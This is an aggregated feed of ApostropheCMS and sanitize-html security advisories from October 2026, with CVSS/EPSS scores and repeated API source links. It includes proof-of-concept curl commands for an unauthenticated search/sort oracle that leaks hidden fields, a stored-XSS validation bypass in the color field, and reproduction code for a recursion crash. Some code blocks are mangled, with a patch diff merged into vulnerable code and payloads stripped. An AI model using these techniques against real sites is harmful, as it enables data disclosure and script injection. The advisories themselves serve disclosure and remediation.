GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113648&date=2026-10-25
#### 1. Summary
The API endpoint `POST /api/v1/@apostrophecms/import-export/clean-export` in `@apostrophecms/import-export` lacks authentication and authorization checks. Any client—including unauthenticated anonymous users who have obtained the standard CSRF cookie from visiting the site—can directly invoke this route and trigger the underlying `self.cleanExport(req)` method.

---

#### 2. Affected Files & Endpoints
* **Endpoint:** `POST /api/v1/@apostrophecms/import-export/clean-export`
* **Route Definition:** `packages/import-export/lib/apiRoutes.js` (lines 32–34)
* **Method Implementation:** `packages/import-export/lib/methods/import.js` (lines 1271–1324)

---

#### 3. Root Cause Analysis
In `packages/import-export/lib/apiRoutes.js`, the `get.related` handler explicitly validates that the caller is logged in:
```javascript
get: {
 async related(req) {
 if (!req.user) {
 throw self.apos.error('forbidden');
 }
 // ...
 }
}
```
In contrast, `post.cleanExport` (as well as `post.overrideDuplicates`) lacks any verification of `req.user`:
```javascript
post: {
 async overrideDuplicates(req) {
 return self.overrideDuplicates(req);
 },

 async cleanExport(req) {
 return self.cleanExport(req); // {
 get: { ... },
 post: {
 async overrideDuplicates(req) {
+ if (!req.user) {
+ throw self.apos.error('forbidden');
+ }
 return self.overrideDuplicates(req);
 },
 
 async cleanExport(req) {
+ if (!req.user) {
+ throw self.apos.error('forbidden');
+ }
 return self.cleanExport(req);
 }
 }
```

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.1
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API
https://kevwire.com/record/CVE-2026-112954
ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API (Oct 21, 2026).
- use `?search= ` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and
- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.

This is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.
CVSS 5.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-rqgm-cfrp-4hx8).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112954&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rqgm-cfrp-4hx8: https://github.com/advisories/GHSA-rqgm-cfrp-4hx8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112954&date=2026-10-25
### Summary
ApostropheCMS lets a module expose an anonymous read API by setting `publicApiProjection`, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string *before* forcing that projection. Two of those builders, `search` and `sort`, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore:

- use `?search= ` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and
- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.

This is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.

### Details
For an anonymous caller, `getRestQuery` (piece types: `modules/@apostrophecms/piece-type/index.js:1142`; pages: `modules/@apostrophecms/page/index.js`) does:

```js
const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query); // (1) apply ALL launderable builders from the query string
...
query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection
query.set('publicApiProjection', self.options.publicApiProjection); // (3) used only by the choices/counts gate
```

`applyBuildersSafely` (`modules/@apostrophecms/doc-type/index.js:3327`) runs any builder that has a `launder` method. `search` and `sort` both have one (`doc-type/index.js:2288` and `2127`), so `?search=` and `?sort[...]=` are honored for anonymous requests.

**Search vector.** The `search` builder adds `{ $text: { $search: } }` (`doc-type/index.js:2282`). The `$text` index covers `highSearchText` / `lowSearchText` / `title` / `searchBoost` (`modules/@apostrophecms/doc/index.js:612`). `highSearchText` / `lowSearchText` are built at save time by `@apostrophecms/search:getSearchTexts` → `apos.schema.indexFields(schema, doc, texts)` (`modules/@apostrophecms/search/index.js:377`), which indexes every schema field where `searchable !== false` (the default for string/text fields). `publicApiProjection` does not imply `searchable: false`. Step (2) narrows the output but not the `$text` filter, so the response returns the projected `{title, slug, _id}` of exactly the documents whose hidden field contains the searched word.

**Sort vector.** `finalizeSort` (`doc-type/index.js:3526`) forwards raw user sort keys to MongoDB (it only rewrites fields flagged `sortify: true`). `?sort[hiddenField]=1` orders results by a projection-excluded field. Combined with `perPage`/`page`, an attacker can page through the fully ordered set.

Neither builder consults `publicApiProjection`, whereas `choices`/`counts` are gated at `doc-type/index.js:2807` via `choicesFieldAllowedByProjection`.

### PoC
**Preconditions:** the piece/page type sets `publicApiProjection`, and its schema has at least one searchable (default) or sortable field not included in the projection.

Test type: `article` exposes only `title`, `slug`, `_id`, but has hidden `secret` (integer) and `secretNote` (searchable string):

```js
export default {
 extend: '@apostrophecms/piece-type',
 options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } },
 fields: { add: {
 secret: { type: 'integer' },
 secretNote: { type: 'string' } // searchable by default; NOT in the projection
 } }
};
```

Five articles were inserted and published via the authenticated REST API:
`A.secret=50, secretNote="zzsecretalpha"`; `B=10/zzsecretbravo`; `C=90/zzsecretcharlie`; `D=30/zzsecretdelta`; `E=70/zzsecretecho`.
The insert responses confirm the hidden `secretNote` value is written into the search index, e.g. for A: `"highSearchText": "... zzsecretalpha"`, `"lowSearchText": "... zzsecretalpha"`.

Anonymous requests (no credentials, no session):

```bash
# [1] Baseline: projection hides secret/secretNote on direct read
curl -s 'http://localhost:3000/api/v1/article?perPage=1'

# [2] Search oracle: value exists ONLY in hidden secretNote
curl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha'
curl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz'

# [3] Sort oracle: order by hidden integer field
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1'
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1'

# Negative control: projection override is blocked
curl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1'
```

Results (verified on ApostropheCMS 4.32.2, MongoDB 7.0):

| Request (anonymous) | Observed | Verdict |
| ------------------------- | ------------------------------------------------- | ------------------------------------- |
| `GET /api/v1/article` | `_id,title,slug,type,metaType,cacheInvalidatedAt` | projection works on direct read |
| `?search=zzsecretalpha` | only Article A (with textScore) | **leak**: locates doc by hidden field |
| `?search=zznotpresentxyz` | 0 results | oracle confirmed |
| `?sort[secret]=1` | B, D, A, E, C (= 10,30,50,70,90) | **leak**: full hidden ordering |
| `?sort[secret]=-1` | C, E, A, D, B | reverse confirmed |
| `?project[secretNote]=1` | secretNote absent | gated (projection override blocked) |

### Impact
Unauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with `publicApiProjection`:

- **Search oracle:** confirm and locate documents by words in hidden fields (e.g. internal notes, contact emails, draft metadata, moderation/status flags), returning the `title`/`slug`/`_id` of matches.
- **Sort oracle:** full ordering of documents by a hidden field. With one known reference value or a paging binary search, exact hidden values can be recovered.

No authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly th

Affected package ranges reported by GitHub:
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefix
https://kevwire.com/record/CVE-2026-112951
ApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefix (Oct 21, 2026).
```js
const { TinyColor } = require('@ctrl/tinycolor');
if (!new TinyColor(value).isValid) throw self.apos.error('invalid');
```

TinyColor's `rgb`/`hsl` matchers are not anchored at the end of the string, while hex matchers are. Tested with @ctrl/tinycolor
CVSS 5.4 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-vmgj-9cwm-cf3h).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112951&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vmgj-9cwm-cf3h: https://github.com/advisories/GHSA-vmgj-9cwm-cf3h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112951&date=2026-10-25
### Summary
The color field accepts any string that *begins* with a valid `rgb()` / `hsl()` color, because `TinyColor.isValid` does not anchor its match at the end of the string. An authenticated user with edit rights can store arbitrary HTML after a valid color prefix. When the stored value is rendered , the payload executes, resulting in stored XSS.

### Details
Server-side validation of the color field relies on TinyColor:

```js
const { TinyColor } = require('@ctrl/tinycolor');
if (!new TinyColor(value).isValid) throw self.apos.error('invalid');
```

TinyColor's `rgb`/`hsl` matchers are not anchored at the end of the string, while hex matchers are. Tested with @ctrl/tinycolor

| Input | `isValid` |
|---|---|
| `rgb(1,2,3) ` | `true` |
| `rgb(1,2,3) ` | `true` |
| `hsl(0,100%,50%);--x:1} ` | `true` |
| `#ff0000 ` | `false` |

The value is saved to MongoDB unchanged (not normalized to hex8).

### Relation to GHSA-97v6-998m-fp4g
GHSA-97v6 addressed CSS custom property injection escaping a ``" OR "a separate HTML sink at X is exploitable"]. Fixing the validation (requiring the full string to be a color, or storing only TinyColor's normalized output) would close both.

### Impact
Any user with edit permission can plant persistent JavaScript that runs in the browser of visitors and administrators viewing the affected page, enabling session hijacking and actions as an admin.

### Suggested fix
Reject values unless the entire string is a valid color, e.g. normalize on save:
```js
const c = new TinyColor(value);
if (!c.isValid) throw self.apos.error('invalid');
value = c.toHex8String(); // store only normalized output
```

Affected package ranges reported by GitHub:
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS sanitize-html: unbounded recursion when re-sanitizing the fallback of a discarded iframe (stack overflow, nestingLimit not enforced)
https://kevwire.com/record/CVE-2026-113650
ApostropheCMS sanitize-html: unbounded recursion when re-sanitizing the fallback of a discarded iframe (stack overflow, nestingLimit not enforced) (Oct 21, 2026).
Since 2.18.0, when an ` ` is not allowed and `disallowedTagsMode` is `'discard'` (the defaults),
its raw-text content is re-sanitized by a recursive call to `sanitizeHtml(text, options)` (the change
from #5564, fixing #5550). The recursion has no bound and starts each nested call with a fresh state.
Two consequences, both absent from 2.17.7 and 2.17.4:

1. A few kilobytes of unclosed ` ` tags throw `RangeError: Maximum call stack size exceeded`
 with the default options. Any application that sanitizes untrusted HTML with 2.18.0 can be made to
 throw on a small crafted input.
2. `nestingLimit` is not enforced across a discarded iframe: each nested iframe restarts the depth
 count at zero, so the output can be nested arbitrarily deep regardless of the configured limit.
CVSS 5.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-c9rx-x947-fp3h).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113650&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c9rx-x947-fp3h: https://github.com/advisories/GHSA-c9rx-x947-fp3h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113650&date=2026-10-25
### Summary

Since 2.18.0, when an ` ` is not allowed and `disallowedTagsMode` is `'discard'` (the defaults),
its raw-text content is re-sanitized by a recursive call to `sanitizeHtml(text, options)` (the change
from #5564, fixing #5550). The recursion has no bound and starts each nested call with a fresh state.
Two consequences, both absent from 2.17.7 and 2.17.4:

1. A few kilobytes of unclosed ` ` tags throw `RangeError: Maximum call stack size exceeded`
 with the default options. Any application that sanitizes untrusted HTML with 2.18.0 can be made to
 throw on a small crafted input.
2. `nestingLimit` is not enforced across a discarded iframe: each nested iframe restarts the depth
 count at zero, so the output can be nested arbitrarily deep regardless of the configured limit.

### Affected versions

- 2.18.0 (the current `latest`), and the `main` branch at the time of writing (the recursive call is
 still in `packages/sanitize-html/index.js`, in the `ontext` handler, branch
 `tag === 'iframe' && !tagAllowed(tag) && options.disallowedTagsMode === 'discard'`).
- Not affected: 2.17.7 and 2.17.4 (tested with the same inputs below).

Tested with Node.js v26.7.0.

### Reproduction 1: stack overflow with the default options

```js
const sanitizeHtml = require('sanitize-html');

// with 2.18.0:
sanitizeHtml(' '.repeat(1000)); // 8,000 chars: returns ''
sanitizeHtml(' '.repeat(2000)); // 16,000 chars: throws RangeError: Maximum call stack size exceeded
sanitizeHtml(' '.repeat(20000)); // 160,000 chars: throws RangeError: Maximum call stack size exceeded
```

Results:

| input | 2.17.4 | 2.17.7 | 2.18.0 |
|---|---|---|---|
| `' '.repeat(1000)` | ok | ok | ok |
| `' '.repeat(2000)` | ok | ok | RangeError |
| `' '.repeat(20000)` | ok | ok | RangeError |

The threshold depends on the remaining stack, so it is lower when `sanitizeHtml` is called from an
already deep call stack (for example inside a server-side rendering pass).

### Reproduction 2: `nestingLimit` is bypassed

```js
const sanitizeHtml = require('sanitize-html');

const input = (' ' + ' '.repeat(3)).repeat(50) + 'x';
const out = sanitizeHtml(input, { allowedTags: ['b'], nestingLimit: 3 });
// maximum nesting depth of in `out`:
// 2.17.4: 2 2.17.7: 0 (fallback escaped as text) 2.18.0: 150
```

Without an iframe, the same options cap the output at three nested ` ` in all three versions. With
`k` repetitions of `' ' + ' '.repeat(3)`, 2.18.0 returns `3 * k` nested ` ` (measured for
k = 1, 5, 50: depth 3, 15, 150).

### Cause

In 2.18.0 the `ontext` handler does:

```js
} else if (
 tag === 'iframe' &&
 !tagAllowed(tag) &&
 options.disallowedTagsMode === 'discard'
) {
 result += sanitizeHtml(text, options);
}
```

Because htmlparser2 treats ` ` as a raw-text element, the text of an unclosed iframe is the whole
remainder of the input; re-parsing it can meet another unclosed ` `, and so on, one stack frame
(and one full re-parse) per iframe. The nested call also starts with its own `depth`, so tags inside the
fallback are not counted against `nestingLimit` together with the enclosing tags.

### Possible directions

Not a patch, only what would close both effects: bound the recursion (or process the fallback without
recursing), and carry the current depth into the nested sanitization so that `nestingLimit` applies to
the whole output.

Affected package ranges reported by GitHub:
sanitize-html: >= 2.18.0, < 2.18.1
Action: GitHub lists first patched versions: sanitize-html: 2.18.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Import API bypasses publication roles for protected content
https://kevwire.com/record/CVE-2026-113649
ApostropheCMS: Import API bypasses publication roles for protected content (Oct 21, 2026).
Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).
CVSS 6.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-5m22-7pfq-vp65).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113649&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5m22-7pfq-vp65: https://github.com/advisories/GHSA-5m22-7pfq-vp65
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113649&date=2026-10-25
## Review scope and evidence limits

Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).

Current main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.

The importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. 

## Import API bypasses publication roles for protected content

The import gate in canImportOrExport() checks the type's import configuration and view permission. The write helpers then call document-manager insert/update directly, including operations on published variants. We did not find the normal publish permission check or beforePublish transition in these helpers. Core permissions intentionally distinguish editRole and publishRole, and the ordinary publication lifecycle enforces that distinction.

The reported security boundary is a content type that an editor may edit but whose publication is reserved for a stronger role. Direct public-state changes through import must enforce the same publication authority. The original report describes unauthorized creation, replacement, or removal of published content under that configuration.

Suggested remediation: centralize authorization for import writes; require publish permission for every non-autopublished published variant, authorize each concrete target, and preflight the complete import before persistent changes. Preserve authorized draft imports and the intended behavior of autopublished types.

Source references:
- [Import write helpers](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js)
- [Import permission gate](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/index.js)
- [Core role distinctions](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/apostrophe/modules/%40apostrophecms/permission/index.js)
- [Core insert/update/publication permission hooks](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/apostrophe/modules/%40apostrophecms/doc/index.js)

## Coordination

Vivek R / Winfunc
Original reporting team: Mufeed VH / Winfunc

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.1
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1; apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Archive duplicate continuation lets contributors overwrite published content
https://kevwire.com/record/CVE-2026-112956
ApostropheCMS: Archive duplicate continuation lets contributors overwrite published content (Oct 21, 2026).
Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).
CVSS 6.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-jf5h-36mg-rp6x).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112956&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jf5h-36mg-rp6x: https://github.com/advisories/GHSA-jf5h-36mg-rp6x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112956&date=2026-10-25
## Review scope and evidence limits

Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).

Current main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.

The importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment.

## Archive duplicate continuation permits unauthorized published-content replacement

